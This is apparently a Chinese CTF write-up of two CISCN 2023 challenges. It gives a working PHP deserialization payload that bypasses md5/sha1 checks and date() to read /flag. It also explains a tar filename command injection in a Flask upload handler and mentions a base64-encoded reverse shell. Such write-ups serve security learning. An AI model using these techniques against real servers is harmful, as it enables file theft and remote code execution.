[CISCN 2023 华北]ez_date 题目给的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
这里的话不给使用数组进行绕过 经过本地测试
可以使用数字型 和字符型 进行绕过
剩下的关键点就是这个如何绕过这个date
函数了
因为这个正则匹配的话是没过滤字母啥的 所以只要不使用奇奇怪怪的东西就不会被正则到
将字母转义后 就可以输出正常的字母了
最后的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } $a = new date ();$a -> a = 1 ;$a -> b = '1' ;$a -> file = "/f\l\a\g" ;echo (base64_encode (serialize (($a ))))?>
总结
就是不使用数组 使用数字和字符来绕过md5 和sha1
就是使用转义可以避免date
函数识别错误
[CISCN 2023 华北]pysym 这里给了个附件 其中关键的核心代码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def POST (): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file' ] if file.content_length > 10240 : return 'file too lager' path = '' .join(random.choices(string.hexdigits, k=16 )) directory = os.path.join(app.config['UPLOAD_FOLDER' ], path) os.makedirs(directory, mode=0o755 , exist_ok=True ) savepath=os.path.join(directory, file.filename) file.save(savepath) try : os.system('tar --absolute-names -xvf {} -C {}' .format (savepath,directory)) except : return 'something wrong in extracting' links = [] for root, dirs, files in os.walk(directory): for name in files: extractedfile =os.path.join(root, name) if os.path.islink(extractedfile): os.remove(extractedfile) return 'no symlink' if os.path.isdir(path) : return 'no directory' links.append(extractedfile) return render_template('index.html' ,links=links)
这里解释了一下上面创建文件新路径的代码
做题多的师傅一下子可能就会想到这里可能存在这个命令的同时执行
因为这个savepath
最后的话是这个filename
,所以说我们就可以控制这个savepath
了 不能控制这个directory
的原因是因为这个的话上传路径我们不知道 生成的随机数也不可控
经过本地测试是能成功执行的 但是换到题目上的时候就没有回显 于是考虑数据外带一下(弹个shell方便一点)
考虑到弹shell有些符号是不给使用的 于是就尝试进行base64编码一下
这样在自己的服务器上就能收到shell了 由于我这里是公司 弹shell会被墙
所以就不搞了
总结
其实考察点就是python
的代码审计和这个命令执行 能否想到的这个问题
现在的话也是可以想为现在的话是可以 unzip
tar
这些解压命令都可以进行rce